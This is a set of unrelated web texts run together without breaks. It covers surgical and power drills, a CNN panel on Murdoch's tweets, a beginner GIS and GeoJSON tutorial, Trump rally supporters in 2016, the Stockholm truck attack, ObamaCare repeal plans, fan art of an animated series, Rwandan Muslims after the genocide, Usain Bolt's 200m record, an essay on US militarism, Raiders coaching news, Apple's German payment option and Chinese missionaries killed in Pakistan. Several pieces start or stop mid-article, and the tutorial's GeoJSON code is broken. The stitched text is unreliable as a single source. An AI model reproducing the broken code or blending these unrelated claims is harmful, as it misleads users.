Drills are used in surgery to remove or create holes in bone; specialties that use them include dentistry, orthopedic surgery and neurosurgery. The development of surgical drill technology has followed that of industrial drilling, including transitions to the use of lasers, endoscopy, use of advanced imaging technologies to guide drilling, and robotic drills.[16][17][18][19]
Accessories [ edit ]
Drills are often used simply as motors to drive a variety of applications, in much the same way that tractors with generic PTOs are used to power ploughs, mowers, trailers, etc.
Accessories available for drills include:
Screw-driving tips of various kinds - flathead, Philips, etc. for driving screws in or out
Water pumps
Nibblers for cutting metal sheet
Rotary sanding discs
Rotary polishing discs
Rotary cleaning brushes
Capacity [ edit ]
Drilling capacity indicates the maximum diameter a given power drill or drill press can produce in a certain material. It is essentially a proxy for the continuous torque the machine is capable of producing. Typically a given drill will have its capacity specified for different materials, i.e., 10mm for steel, 25mm for wood, etc.
For example, the maximum recommended capacities for the DeWalt DCD790 cordless drill for specific drill bit types and materials are as follows:[20]
Material Drill bit type Capacity Wood Auger 7⁄ 8 in (22 mm) Paddle 1 1⁄ 4 in (32 mm) Twist 1⁄ 2 in (13 mm) Self-feed 1 3⁄ 8 in (35 mm) Hole saw 2 in (51 mm) Metal Twist 1⁄ 2 in (13 mm) Hole saw 1 3⁄ 8 in (35 mm)
O’Brien quoted one of Murdoch’s haiku-esque tweets, in which he opines “Petraeus resignation. Timing, everything suspicious. There has to be more to this story.”
With a laugh, Soledad said, “I don’t follow him, but I’m going to start. Honestly.”
Dana Bash chimed in “I thought to myself, ‘We’re going to get this guy more followers.'”
The panel then compared Murdoch’s tweets with the incoherent, inflammatory likes of former GE CEO Jack Welch, who started a slanderous conspiracy theory about the September jobs report, and Donald Trump, who called for open revolution in the minutes following President Obama’s reelection.
“Orange-haired billionaires for change,” cracked Howard Kurtz.
What’s important about a segment like this is for conservatives to internalize the derisive laughter of this CNN panel, because no matter how much they want to suck their thumbs and clutch that “liberal media” security blankie, this is how ordinary Americans see people like Murdoch, Trump, and Welch, and the whackjobs who went unnamed in this segment, so when other conservatives fail to back away from them as they would from a frothing squirrel, the crazy sticks to all of them.
That’s why, when reasonable conservative panelist Will Cain makes some good points about Twitter, and the way it can drop your inhibitions, it comes off like he’s making excuses for these guys.
“Twitter is its own little world, where your personality is developed in a way that’s almost completely independent of who you are” Cain said, adding “You can be someone wholly independent on Twitter that doesn’t reflect who you are.”
“That’s not an excuse for Rupert Murdoch,” he added, which is also true of Trump and Welch. Aside from the abbreviated composition of their missives, none of these guys is stepping wildly out of character with this garbage, and aside from Murdoch’s forced apology, they usually double down on this stuff in real life.
As Soledad expressed later in the segment, describing Murdoch as “a little bit off his rocker,” and adding “It’s awesome, I like that,” there is tremendous entertainment value in this brand of unhinged tweeting, but the fact that Murdoch, and especially Trump, never pay any real price for this stuff with conservatives is a problem for them, even if it’s a barrel of laughs for the rest of us.
Here’s the clip, from CNN’s Starting Point:
Follow Tommy Christopher (@TommyXtopher) on Twitter.
I personally have always been attracted to GIS systems. They seemed like one of those magical applications, feeding on a bunch of boring data and churning out awesome visualizations. But I’ve been hesitant to try it out, all the jargon – mercator projections, GDAL, QGIS, making it all the more harder. Until recently, I got a chance to work on a project that was based on GIS systems, involving in-store analytics for brick and mortar shops. It was a great learning experience – trying out different projections and visualizations, just playing around with data.
This article is my attempt to help all those looking to get into GIS, and I’d love your feedback in the comments below.
A simple Google search on GIS will give you this: “A geographic information system (GIS) is a computer system for capturing, storing, checking, and displaying data related to positions on Earth’s surface. GIS can show many different kinds of data on one map. This enables people to more easily see, analyze, and understand patterns and relationships.”
Kinda neat, right? So let’s get on with the basics:
Projections
The first thing you need to know about, the one which all the tutorials I read seemed to miss was Projections. Simply put, Projections are a way to represent the surface of a 3D Globe on a 2D map. Why is it such a big deal? Well, let see an example:
Look at this image. Most notably, the huge white area at the top-left called Greenland and the country with the blue dot on the bottom right, India.
Which one of the two seems bigger?
Hint:
Area of Greenland : 2.166 million km²
Area of India : 3.287 million km²
The problem is, if I assume that the surface of the earth is like a wrapper and try to spread it on a piece of paper, it looks like this :
So, some wise people came up with a way to remove those empty spaces. The most common of those is known as the Mercator Projection. It’s just a different way to fill in those empty spaces. There are a bunch of different projections which we use but most of this article will be about Mercator. The downside or Mercator, a country almost 1.5 times bigger than another country in actuality, appears way smaller.
Vector vs Raster
Most of you would already be familiar with the concept of a raster and vector images. But, we’ll give it a quick go through.
When you try to zoom in on a picture you clicked on your phone, it starts getting blurry after a certain point. That’s because images are normally rasters. Essentially a raster image is a pixel map, with each pixel coloured in a single colour. So when you zoom in, the pixel size increases and the images start getting blurry. You see that image for what it really is: a bunch of coloured dots.
Vector data on the other hand is not pixels. It has definitions. Definitions of how a shape is made. Say you want a point, you define a point, you want a line you define a line, you want a polygon, you define a polygon.
No matter how much you zoom in – a vector image will never get blurry.
Vector data has been used in games for a long time, now we’ve gotten better at processing it quickly.
GeoJSON, TopoJSON, WKB, WKT
You know how a bunch of friends get together and there’s one guy who calls football, soccer (or vice versa) or how some people just refuse to use the metric system? Well, this is essentially the same scenario. These are just various forms of representing and storing spatial data.
If you’re really interested you can read this article to get to know ALL THE FORMATS. For the purpose of this article, we’ll stick with GeoJSON and Shapefiles only.
Enough terms, get them pretty maps!
Very soon, just need the right buildup! 🙂
In essence, all vector GIS data is represented as either
Points Lines Polygons Groups/Collections of such points
There are more. You can learn a lot more about GeoJSON here.
So before we get to the them awesome maps, we need to be able to define them. Say you want to show the inside of your room. How can you show it? Let’s consider a top-down view of your house. Now take your house and put it on an x-y plane(Cartesian). Place the top-left corner of your house at (0,0). I’ll assume your room is a square.
Going step by step:
Now since the room is the universe in this case, you don’t need to define it. So let’s start with the beer bottle. That bottle is at a point, the point where you left it last night (lazy much?). That point is (1,-1). The bottle is a feature in your representation of the room. So in GeoJSON that bottle can be described as
“type”: “Feature”,
“geometry”: {“type”: “Point”, “coordinates”: [1,-1]},
“properties”: {“name”: “Beer Bottle”}
Now let’s move on to the door. Since the door is a line we represent it as such.
“type”: “Feature”,
“geometry”: {
“type”: “LineString”,
“coordinates”: [
“properties”: {
“name”: “Door”
Now the bed
“type”: “Feature”,
“geometry”: {
“type”: “Polygon”,
“coordinates”: [
“properties”: {
“name”: “Bed”
Now, after the crazy party last night – you wake up in the morning only to find a big hole in your bed. Now you want to be as faithful to the diagram as possible but you don’t want to specify what that place is for. Also that hole is still part of the bed. Well fear not, for holes are an integral part of a polygon.
“type”: “Feature”,
“geometry”: {
“type”: “Polygon”,
“coordinates”: [
[4, 0] ], //Hole definition [
“properties”: {
“name”: “Bed”
The second array is basically defining where the damage was done. I’m sure with these basic building blocks you can now create a definition of the entire map.
Here’s the gist for a quick reference.
For those of you who did see the gist, picture looked a bit different? That map doesn’t look anything like what you thought it would!
Well, here’s the reason. Remember that projection stuff we were talking about? Github thought this was just another lat long type file and displayed it as is.
Parting thoughts
I hope this was an engaging and entertaining post for you guys. I don’t think this would make your life with GIS any easier, but I believe you’d be better equipped to understand what this system is and possibly delve deeper into it. Comments are always welcome!
But it’s always been unclear what happens to this movement if Trump loses — which he seems almost certain to do, even despite recent developments in the Hillary Clinton email story. Does Trumpism exist without Trump? Where do his supporters turn after Nov. 8? The future is at hand.
Conversations with Trump supporters in several different states at recent rallies showed a few patterns. Nearly all believe that the election is being rigged and that Trump reserves the right to contest the results. Most are disappointed or angry with Republicans for not fully backing the nominee, and some, though not all, say they’re done with the Republican Party. And most promise that they’re not going away.
“I don’t think the Republican Party will ever be again what it was,” said Linda Hudson, 65, a South Carolinian who attended Trump’s rally in Fletcher, North Carolina, this week. “I probably would still continue to vote because I feel strongly about that, but I will not participate in anything else. I think me, like a lot of people, we’re just disgusted with what’s happened this go-round.”
“He’s fighting for his voters,” said Stacy Whitted, 46, of Chesapeake, Virginia, at a rally in Virginia Beach. “So I don’t want him to concede. I believe it’s rigged. And I think he should fight because he’s fighting for his voters who wanted him to win.”
But if he loses, Whitted said, “I think it’s going to fire us up even more and try to push Hillary out. Get her in prison. Just kidding.”
“I think it will continue within the Republican Party, but I think the Republican Party will change, and I think that the establishment who think they’ll be able to take hold again will be very surprised,” said Rachel McKinney, 81, of Shippensburg, Pennsylvania, at Trump’s speech at Gettysburg last week.
Trump’s rallies at this point resemble a concert for a beloved band, or a sci-fi/fantasy con. There are themed outfits: “Hillary for Prison” shirts, “Trump Army” shirts, “Trump That Bitch” shirts, and of course, “Make America Great Again” hats. There are slogans: “build the wall,” “lock her up,” and a newer addition, “drain the swamp.” What the Trump crowds resemble most of all is a kind of subculture, a bubble that exists within its own reality. Instead of trying to expand out of this bubble during the general election as the nominee, Trump has done the opposite, intensifying his appeals to his most ardent supporters while continuing to offend nearly everyone else.
And Trump has grown more and more conspiratorial as time has gone on, particularly in the wake of the Access Hollywood tape and sexual assault allegations against him that may have erased any hope he had of becoming elected president. At every rally now, he speaks of a rigged system and a rigged election, with globalist elites and a corrupt media working in tandem to bring him down — and not just him, but his supporters. Trump’s connection with his audience is undeniable. And when he tells them that not just he, but they are the victims of an elite conspiracy, they believe him.
"The media isn’t just against me, they’re against all of you,” Trump told a crowd in St. Augustine, Florida, on Monday.
In Sanford, Florida, the next day, he spoke in apocalyptic tones about what could happen to his movement without him, and he seemed to rule out the idea that some other Republican could inherit what he’s started.
“This is the last time we're going to have a chance,” he said. “Four years, it's over. It's over. In four years, you don't have a chance. All these characters who want to run in four years, they can forget it. They're wasting their time.”
Trump’s rallies are their own ecosystem. And they have their own facts, and they distrust the media even when those facts come from mainstream outlets. At several rallies this past week, Trump has mentioned the story of a $675,000 donation to the Virginia state Senate race of an FBI official’s wife by an ally of Virginia Gov. Terry McAuliffe, who is close with the Clintons — a story which was first reported by the Wall Street Journal. In Tallahassee on Tuesday, one man standing near the press pen glared at the reporters and said, “Why doesn’t the media report on that!”
As this week’s story in Bloomberg Businessweek makes clear, Trump’s team is taking steps to harness the movement digitally to unclear future ends. Chatter about a possible media venture continues, spurred by the Trump campaign’s new regularly occurring Facebook Live show. Populist nationalist movements in other countries have emerged as a persistent thorn in the side of establishment political parties. But in a country like France, the National Front has a well-established history and infrastructure. Trumpism, so far, is more formless. But its adherents promise its staying power.
Steve Bannon, the Breitbart chairman currently serving as Trump’s campaign CEO, has for years targeted the Republican Party establishment, and Trump’s becoming the party’s standard-bearer has not changed this. If anything, Breitbart, which has become a semi-official organ of the Trump campaign, has grown even more aggressive towards the party’s sacred cows like Paul Ryan, whom it recently accused without evidence of supporting Hillary Clinton. Bannon and Breitbart’s political project seems less to stay within the party than to create something very different. If Trumpism is recognized as a populist nationalist movement, that’s partly because the phrase itself is Bannon and Breitbart’s preferred nomenclature.
“Win or lose, this isn’t gonna go away,” said Barry Casper, 56, at Trump’s rally in Newtown, Pennsylvania, last week. “A lot of things are not going to go away. All the WikiLeaks stuff is going to stay alive. Have you been to any of the rallies? Well, then you know. I’d never seen that and I’m a lot older than you, and I’ve been around politics since 1980.”
Two women at Trump’s rally in Fletcher, North Carolina, last week said they were now beyond the two main political parties.
“I’m done with the Republicans,” said Diane, 67, from South Carolina.
“I’m done with all of them,” said Alice, 61, from Asheville, North Carolina.
Elio Hernandez, 66, a Trump supporter from Naples, Florida, who emigrated from Venezuela 45 years ago, said he doubted his future as a Republican “unless they change.”
Sweden – Earlier today, a terrorist plowed through a busy shopping center in Stockholm, Sweden with a high jacked truck. So far, 5 deaths have been reported, many injured.
It is being reported that three men were involved at the scene. Two men have been detained while one is still on the loose. Swedish police have released photos of the suspect still on the loose connected to the terrorist attack today.
Via The Daily Mail:
At least five people have been killed after a terrorist hijacked a truck and rammed shoppers in Stockholm before crashing into a packed shopping centre and bursting into flames. Three men jumped out from the lorry and opened fire before trying to stab pedestrians, witnesses said. Footage shows two men being tackled to the ground and arrested – but a third suspect is believed to be on the run. Police have released CCTV of the wanted man wearing a green jacket, white shoes and a grey hoodie and have shut down Stockholm’s Central Station and tube network amid fears he is hiding underground. Officers said the vehicle crashed into a group of people on the street outside a shopping centre in Klarabergsgatan after racing down six streets at about 3pm local time. Hundreds of shoppers were seen fleeing for their lives after the articulated lorry rammed into the corner of the building. Horrifying images of the aftermath show blood smeared on the roads and bodies covered by blankets. Dozens more have been injured, some critically. Despite footage of at least two men being detained, Stockholm Police are yet to confirm if they have been arrested.
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Another source off Capitol Hill said the Trump transition team has signed off on the plan and that the traditional vote-a-rama process could take place as early as Jan. 5.
House Majority Leader Kevin McCarthy (R-Calif.) hinted this week that the GOP-controlled Congress could vote to repeal ObamaCare early in Trump's presidency, before a replacement plan is ready . Lawmakers have said that any bill to dismantle President Obama's healthcare law would almost certainly include a delay of 12 to 18 months so that millions do not lose healthcare coverage.
The lawmakers would use a process known as reconciliation, which allows budget bills to pass the Senate with a simple majority, bypassing the Democrats’ ability to filibuster.
The reconciliation bill would be largely modeled after Congress’s 2015 bill to repeal most of ObamaCare, which was vetoed by Obama, sources said.
bryankonietzko.tumblr.com/post…
and I was giggle-squee'ing like crazy, I had to draw something, and the whole time I was thinking Bryke would leave us in the dark with the (in some opinions) ambiguity for ever (a little sadism is no bad thing in an artist), but then THIS:
and just, wow.
Now, don't shoot me, LGBT community, but I liked it that the romance was so subtle. I know that was because the creators weren't allowed to be more explicit, but I like it that it turned out that way - rarely have I seen such a degree of emotional intimacy portrayed between two cartoon characters - I honestly couldn't care less what kind of love it was, it was just so beautiful. T__T I'm sorry, I totally fail at being an SJW.
Anyway, it's a good thing Korra and Asami aren't real people - if they were, then what the fans have been doing - speculating and gossipping about their private life - would be INCREDIBLY rude.
I could go on and on about this show and all my pretentious interpretations of everything in it, but I'll rein myself in for now and just say, here
are some of my fave Korrasami fanarts.
Muslim leaders credit the gains to their ability during the 1994 massacres to shield most Muslims, and many other Rwandans, from certain death. ''The Muslims handled themselves well in '94, and I wanted to be like them,'' said Alex Rutiririza, explaining why he converted to Islam last year.
With killing all around, he said, the safest place to be back then was in a Muslim neighborhood. Then as now, many of Rwanda's Muslims lived crowded together in the Biryogo neighborhood of Kigali.
During the mass killing of Tutsi, militias had the place surrounded, but Hutu Muslims did not cooperate with the Hutu killers. They said they felt far more connected through religion than through ethnicity, and Muslim Tutsi were spared.
''Nobody died in a mosque,'' said Ramadhani Rugema, executive secretary of the Muslim Association of Rwanda. ''No Muslim wanted any other Muslim to die. We stood up to the militias. And we helped many non-Muslims get away.''
Mr. Rugema, a Tutsi, said he owed his life to a Muslim stranger who hid him in his home when members of the Interahamwe militia were pursuing him.
Mr. Rugema said two imams had been arrested outside Kigali on charges of taking part in the massacre. But both were released within about two years for lack of evidence. ''We are proud of how Islam emerged from the genocide,'' he said.
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For all the gains Islam has made, no one is suggesting that it is about to supplant Christianity as the country's leading religion. Catholicism, which arrived in the late 19th century with the White Fathers order of the Roman Catholic Church, remains deeply embedded in the culture.
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On Palm Sunday, worshipers on their way home from Mass lined the roadways throughout Rwanda with fronds in their hands. They included people like Mediatrice Mukarutabana, who survived a massacre in her church that she says has made her even more observant now.
''God saved me,'' she said after the morning Mass at St. Francis Xavier Church in eastern Rwanda. ''He was testing my faith. Since the genocide I've been transformed. I can endure more now. I have more of a connection with God.''
Ms. Mukarutabana's church has a new pastor as well. The one who was there during 1994, a Spanish priest, tried to persuade the attacking militias to spare his congregation. He even offered them money if they would go away. But the militias would not relent.
After a standoff, the attackers offered the priest the opportunity to leave safely on his own, and he fled.
Ms. Mukarutabana said she had felt let down by the priest's decision to leave the congregation behind but understood his fear. ''We thank him because he made every effort to save us,'' she said. ''But when it came to the 11th hour, he blessed us and left us to die.''
Church leaders acknowledge that attendance at many parishes dropped after the killing rampage. They have taken pains since 1994 to teach a message of healing and to distance the church from clergy members who were implicated in the killings.
They say that after a period of decline, they are now slowly rebuilding attendance, and that Christianity continues to play an important role in the recovery from 1994.
The pain of 1994 lingers, though, and since the turmoil in Rwanda subsided in the late 1990's many, like Mr. Rutiririza, have been looking for an alternative to Christianity. But in a country where Christians account for about three-quarters of the population, Mr. Rutiririza found, as others have, that conversion can be a difficult and complex process.
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He said he was ostracized by his Methodist congregation after he decided last year to become a Muslim. His wife remained with the Methodists, he said, while his children joined him at the mosque. Neighbors steer clear of him, he said, now that he has left Christianity.
The community that Mr. Rutiririza joined is a largely self-sufficient group, receiving relatively small amounts of aid from the larger Muslim world. Libya built a grand cultural center for Muslims in Rwanda more than 20 years ago, and Saudi Arabia provides financing for some of the mosques.
It is also largely an inward-looking group, and not a likely candidate for harboring cells of Al Qaeda. While Rwanda's Muslims say they follow the travails of Islamic adherents in other parts of the world -- the wars in Afghanistan and Iraq, for instance, and the conflict in the Middle East -- their primary focus is on their own struggle to put their lives back together.
Venue: Olympic Stadium, Berlin Date: 15-23 August
Coverage: Watch the action live and highlights on BBC Two, BBC HD, Red Button, Radio 5 live and the BBC Sport website (video for UK users only)
Full BBC coverage details Jamaican sprint superstar Usain Bolt claimed yet another world record as he recorded a stunning victory in the 200m final at the World Championships. Bolt set a time of 19.19 seconds to demolish the previous record of 19.30 he set in winning Olympic gold last summer in Beijing. The 22-year-old finished well clear of the field, with silver medallist Alonso Edward finishing in 19.81. Wallace Spearmon of the United States took bronze. Bolt, who also smashed the 100m record in Berlin on Sunday, is now the first man to hold the 100 and 200m World and Olympic titles at the same time. After a nervy opening which saw Frenchman David Alerte false start, Bolt streaked off the blocks and took the lead within 20m. TOM FORDYCE BLOG Bolt has redefined the boundaries of what was believed to be humanly possible
He put on the afterburners around the bend to leave the chasing pack trailing in his wake and after storming over the line, Bolt glanced down to the electronic display and pointed at his historic time. Earlier in the week Bolt had said he did not think a 200m record was on after missing a month of training earlier this year following a car crash in Jamaica. And after the 200m Bolt told BBC Sport: "I can definitely say I didn't expect that because I was a little bit tired. "I said let's try because people are really looking out for this, I said it won't hurt to try. So I tried really hard and now I'm really tired. "Maybe next time I should just run the 200m or the 100m alone. My form was going backwards. I wasn't running upright. It wasn't a good race but it was a fast one." Bolt, who completed his 200m win a day before his 23rd birthday, set three world records when winning his Olympic golds in Beijing last summer and his breathtaking performances in Berlin have enhanced his reputation as the best sprinter of all time. "I definitely showed people that my world records in Beijing were not a joke," he said. And Bolt said he is closing in on his aim of becoming a sprinter the world will never forget. "I keep telling you guys my aim is to become a legend," he added. "I don't think about records. I don't put myself under pressure. I know what to do and I go and execute. "I did well for myself and I am on my way to becoming a legend so I am just happy." America's Shawn Crawford, who finished fourth, admitted he was left in awe by Bolt's display. "Just coming out there, I'm just waiting for the lights to flash 'game over,' because I felt like I was in a video game," said Crawford. "That guy was moving - fast."
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A few weeks ago, 200 US Marines began armed operations in…?:
a) Afghanistan
b) Pakistan
c) Iran
d) Somalia
e) Yemen
f) Central Africa
g) Northern Mali
h) The Philippines
i) Guatemala
If you opted for any answer, "a" through "h", you took a reasonable shot at it. After all, there's an ongoing American war in Afghanistan and somewhere in the southern part of that country, 200 armed US Marines could well have been involved in an operation.
In Pakistan, an undeclared, CIA-run air war has long been under way, and in the past there have been armed border crossings by US special operations forces as well as US piloted cross-border air strikes, but no Marines.
When it comes to Iran, Washington's regional preparations for war are staggering. The continual build-up of US naval power in the Persian Gulf, of land forces on bases around that country, of air power (and anti-missile defences) in the region should leave any observer breathless.
US marines rejected by Sudan and Yemen
after embassy attacks
There are US special operations forces near the Iranian border and CIA drones regularly over that country. In conjunction with the Israelis, Washington has launched a cyberwar against Iran's nuclear programme and computer systems. It has also established fierce oil and banking sanctions, and there seem to have been at least some US cross-border operations into Iran going back to at least 2007.
In addition, a recent front-page New York Times story on Obama administration attempts to mollify Israel over its Iran policy included this ominous line: "The administration is also considering... covert activities that have been previously considered and rejected". So 200 armed Marines in action in Iran - not yet, but don’t get down on yourself, it was a good guess.
In Somalia, according to Wired magazine's Danger Room blog, there have been far more US drone flights and strikes against the Islamic extremist al-Shabab movement and al-Qaeda elements than anyone previously knew.
In addition, the US has at least partially funded, supported, equipped, advised and promoted proxy wars there, involving Ethiopian troops back in 2007 and more recently Ugandan and Burundi troops (as well as an invading Kenyan army). In addition, CIA operatives and possibly other irregulars and hired guns are well established in Mogadishu, the capital.
In Yemen, as in Somalia, the combination has been proxy war and strikes by drones (as well as piloted planes), with some US special forces advisers on the ground, and civilian casualties (and anger at the US) rising in the southern part of the country - but also, as in Somalia, no Marines.
Central Africa? Now, there's a thought. After all, at least 100 Green Berets were sent in there this year as part of a campaign against Joseph Kony's Ugandan-based Lord's Resistance Army.
As for Northern Mali, taken over by Islamic extremists (including an al-Qaeda-affiliated group), it certainly presents a target for future US intervention - and we still don't know what those three US Army commandos who skidded off a bridge to their deaths in their Toyota Land Rover with three "Moroccan prostitutes" were doing in a country with which the US military had officially cut its ties after a democratically elected government was overthrown. But 200 Marines operating in war-torn areas of Africa? Not yet.
When it comes to the Philippines, again no Marines, even though US special forces and drones have been aiding the government in a low-level conflict with Islamic militants in Mindanao.
As it happens, the correct, if surprising, answer is "i". And if you chose it, congratulations!
Force as first choice
On August 29, the Associated Press reported that a "team of 200 US Marines began patrolling Guatemala's western coast this week in an unprecedented operation to beat drug traffickers in the Central America region, a US military spokesman said Wednesday."
US arms sales hit record levels
This could have been big news. It's a sizeable enough intervention: 200 Marines sent into action in a country where we last had a military presence in 1978. If this wasn’t the beginning of something bigger and wider, it would be surprising, given that commando-style operatives from the US Drug Enforcement Administration have been firing weapons and killing locals in a similar effort in Honduras, and that, along with US drones, the CIA is evidently moving ever deeper into the drug war in Mexico.
In addition, there's a history here. After all, in the early part of the previous century, sending in the Marines - in Nicaragua, Haiti, the Dominican Repubic and elsewhere - was the way Washington demonstrated its power in its own "backyard".
And yet, other than a few straightforward news reports on the Guatemalan intervention, there has been no significant media discussion, no storm of criticism or commentary, no mention at either political convention, and no debate or discussion about the wisdom of such a step in this country. Odds are that you didn't even notice that it had happened.
Think of it another way: in the post-2001 era, along with two disastrous wars on the Eurasian mainland, we've been regularly sending in the Marines or special operations forces, as well as naval, air and robotic power. Such acts are, by now, so ordinary that they are seldom considered worthy of much discussion here, even though no other country acts (or even has the capacity to act) this way. This is simply what Washington's National Security Complex does for a living.
At the moment, it seems, a historical circle is being closed with the Marines once again heading back into Latin America as the "drug war" Washington proclaimed years ago becomes an actual drug war. It's a demonstration that, these days, when Washington sees a problem anywhere on the planet, its version of a "foreign policy" is most likely to call on the US military. Force is increasingly not our option of last resort, but our first choice.
World's sole arms dealer
Now, consider question two in our little snap quiz of recent war news:
In 2011, what percentage of the global arms market did the US control?
(Keep in mind that, as everyone knows, the world is an arms bazaar filled with haggling merchants. Though the Cold War and the superpower arms rivalry is long over, there are obviously plenty of countries eager to peddle their weaponry, no matter what conflicts may be stoked as a result.)
a) 37 per cent ($12.1bn), followed closely by Russia ($10.7bn), France, China and the United Kingdom.
b) 52.7 per cent ($21.3bn), followed by Russia at 19.3 per cent ($12.8bn), France, Britain, China, Germany and Italy.
c) 68 per cent ($37.8bn), followed by Italy at 9 per cent ($3.7bn) and Russia at 8 per cent ($3.5bn).
d) 78 per cent ($66.3bn), followed by Russia at 5.6 per cent ($4.8bn).
Naturally, you naturally eliminated "d" first. Who wouldn't? After all, cornering close to 80 per cent of the arms market would mean that the global weapons bazaar had essentially been converted into a monopoly operation.
Of course, it's common knowledge that the US arms giants, given a massive helping hand in their marketing by the Pentagon, remain the collective 800-pound gorilla in any room. But 37 per cent of that market is nothing to sniff at. (At least, it wasn’t in 1990, the final days of the Cold War when the Russians were still a major competitor worldwide.)
US drone strikes in Yemen increasing
As for 52.7 per cent, what national industry wouldn't bask in the glory of such a figure - a majority share of arms sold worldwide? (And, in fact, that was an impressive percentage back in the dismal sales year of 2010, when arms budgets worldwide were still feeling the pain of the lingering global economic recession.)
Okay, so what about that hefty 68 per cent? It couldn't have been a more striking achievement for US arms makers back in 2008 in what was otherwise distinctly a lagging market.
The correct answer for 2011, however, is the singularly unbelievable one: the US actually tripled its arms sales last year, hitting a record high, and cornering almost 78 per cent of the global arms trade. This was reported in late August but, like those 200 Marines in Guatemala, never made onto front pages or into the top TV news stories.
And yet, if arms were drugs (and it's possible that, in some sense, they are, and that we humans can indeed get addicted to them), then the US has become something close enough to the world's sole dealer. That should be front-page news, shouldn't it?
Long-range surveillance missions
Okay, so here's the third question in today's quiz:
From a local base in which country did US Global Hawk drones fly long-range surveillance missions between late 2001 and at least 2006?
a) The Seychelles Islands
b) Ethiopia
c) An unnamed Middle Eastern country
d) Australia
Actually, the drone base the US has indeed operated in the Seychelles Islands in the Indian Ocean was first used only in 2009 and the drone base Washington has developed in Ethiopia by upgrading a civilian airport only became operational in 2011. As for that "unnamed Middle Eastern country", perhaps Saudi Arabia, the new airstrip being built there, assumedly for the CIA's drones, may now be operational.
Once again, the right answer turns out to be the unlikely one. Recently, the Australian media reported that the US had flown early, secretive Global Hawk missions out of a Royal Australian Base at Edinburg. These were detected by a "group of Adelaide aviation historians".
The Global Hawk, an enormous drone, can stay in the air a long time. What those flights were surveilling back then is unknown, though North Korea might be one guess. Whether they continued beyond 2006 is also unknown.
Unlike the previous two stories, this one never made it into the US media and if it had, would have gone unnoticed anyway. After all, who in Washington or among US reporters and pundits would have found it odd that, long before its recent, much-ballyhooed "pivot" to Asia, the US was flying some of its earliest drone missions over vast areas of the Pacific?
US offers bounty for al-Shabab rebel leaders
Who even finds it strange that, in the years since 2001, the US has been putting together an ever more elaborate network of its own drone bases on foreign soil, or that the US has an estimated 1,000-1,200 military bases scattered across the planet, some the size of small American towns (not to speak of scads of bases in the United States)?
Like those Marines in Guatemala, like the near-monopoly on the arms trade, this sort of thing is hardly considered significant news in the US, though in its size and scope it is surely historically unprecedented. Nor does it seem strange to us that no other country on the planet has more than a tiny number of bases outside its own territory.
The Russians have a scattered few in the former SSRs of the Soviet Union and a single old naval base in Syria that has been in the news of late; the French still have some in Francophone Africa; the British have a few leftovers from their own imperial era, including the island of Diego Garcia in the Indian Ocean, which has essentially been transformed into an American base; and the Chinese may be in the process of setting up a couple of modest bases as well.
Add up every non-American base on foreign soil, however, and the total is probably less than two per cent of the American empire of bases.
Investing in war
It would, by the way, be a snap to construct a little quiz like this every couple of weeks from US military news that's reported but not attended to here, and each quiz would make the same essential point. From Washington's perspective, the world is primarily a landscape for arming for, garrisoning for, training for, planning for and making war. War is what we invest our time, energy and treasure in on a scale that is, in its own way, remarkable, even if it seldom registers in this country.
"The US actually tripled its arms sales last year, hitting a record high, and cornering almost 78 per cent of the global arms trade."
In a sense (leaving aside the obvious inability of the US military to actually win wars), it may, at this point, be what we do best. After all, whatever the results, it's an accomplishment to send 200 Marines to Guatemala for a month of drug interdiction work, to get those Global Hawks secretly to Australia to monitor the Pacific, and to corner the market on things that go boom in the night.
Think of it this way: the United States is alone on the planet, not just in its ability, but in its willingness to use military force in drug wars, religious wars, political wars, conflicts of almost any sort, constantly and on a global scale. No other group of powers collectively even comes close. It also stands alone as a purveyor of major weapons systems and so as a generator of war. It is, in a sense, a massive machine for the promotion of war on a global scale.
We have, in other words, what increasingly looks like a monopoly on war. There have, of course, been warrior societies in the past that committed themselves to a mobilised life of war-making above all else. What’s unique about the United States is that it isn't a warrior society. Quite the opposite.
Washington may be mobilised for permanent war. Special operations forces may be operating in up to 120 countries. Drone bases may be proliferating across the planet. We may be building up forces in the Persian Gulf and "pivoting" to Asia.
Warrior corporations and rent-a-gun mercenary outfits have mobilised on the country's disparate battlefronts to profit from the increasingly privatised 21st-century American version of war. The American people, however, are demobilised and detached from the wars, interventions, operations and other military activities done in their name.
As a result, 200 Marines in Guatemala, almost 78 per cent of global weapons sales, drones flying surveillance from Australia - no one here notices; no one here cares.
War: it's what we do the most and attend to the least. It's a nasty combination.
Tom Engelhardt, co-founder of the American Empire Project and author of The United States of Fear as well as The End of Victory Culture, runs the Nation Institute's TomDispatch.com. His latest book, co-authored with Nick Turse, is Terminator Planet: The First History of Drone Warfare, 2001-2050.
It will definitely be a Happy New Year for many Raiders fans.
Offensive coordinator Greg Knapp was fired this morning, according to the Contra Costa Times.
Knapp has been scrutinized throughout the 2012 season for his “zone-blocking scheme,” which never worked out. The Raiders finished 28th in the league in rushing, and star running back Darren McFadden was never comfortable in Knapp’s system. The offensive line also faltered, allowing Carson Palmer to be sacked 57 times.
The Raiders had one of the more dynamic offenses in the league under Hue Jackson and Al Saunders in 2011. However, ownership decided to completely clean house, bringing in a new head coach and assistants.
Knapp was previously the offensive coordinator for the Raiders in 2007 and 2008, with draft bust JaMarcus Russell under center.
Other Firings
The prepayment option previously offered to German Apple online store customers allowed buyers to complete a bank wire transfer instead of using a credit card or PayPal to purchase their products. Customers would send payment to Apple’s payment processing company, and once the money had been received and cleared, Apple would then move onto to building and shipping out the order.
Customers shopping stateside on Apple’s site wouldn’t normally see these options, but it appears to be more common overseas. Apple’s Shopping Help page gives more information on Bank Transfers explaining that for the UK, customers must call a specific number to place the order. For Germany, customers were provided with Apple’s payment processor’s banking information to help complete the transaction. Although the German Bank Transfer help page is still available, it’s not known if Apple will eventually move away from this option altogether. Customers who used to utilize the bank transfer could potentially see a delay in orders as the transfer would take five business days for payment processing.
The militant Islamic State (IS) group announced on June 8 that Meng Lisi and Li Xinheng, who were in their mid-twenties, had been killed. The pair had been kidnapped in Quetta on May 24 by gunmen masquerading as policemen.
According to an in-depth report published on Monday by the British Broadcasting Corporation (BBC), “as a self-declared atheist government, news of Chinese Christian missionaries getting into trouble abroad is embarrassing. But at the same time, Beijing needs to show it can protect its citizens as it goes global” by launching several ambitious infrastructure projects overseas.
Before the pair’s kidnapping Chinese citizens could occasionally be seen in Quetta but they have vanished since then: BBC
Despite the dilemma it is facing, the Chinese government has responded to the Balochistan incident by launching a crackdown on a community already under considerable pressure.
